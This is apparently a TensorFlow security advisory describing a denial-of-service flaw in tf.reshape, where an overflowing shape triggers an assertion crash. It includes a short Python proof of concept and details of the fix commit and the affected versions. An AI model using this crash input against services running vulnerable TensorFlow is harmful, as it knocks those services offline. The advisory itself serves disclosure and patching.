## Overview

### Impact
The implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:
```python
import tensorflow as tf

tf.reshape(tensor=[[1]],shape=tf.constant([0 for i in range(255)], dtype=tf.int64))
```
This is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (https://github.com/advisories/GHSA-prcg-wp5q-rv7p).

### Patches
We have patched the issue in GitHub commit [61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555](https://github.com/tensorflow/tensorflow/commit/61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
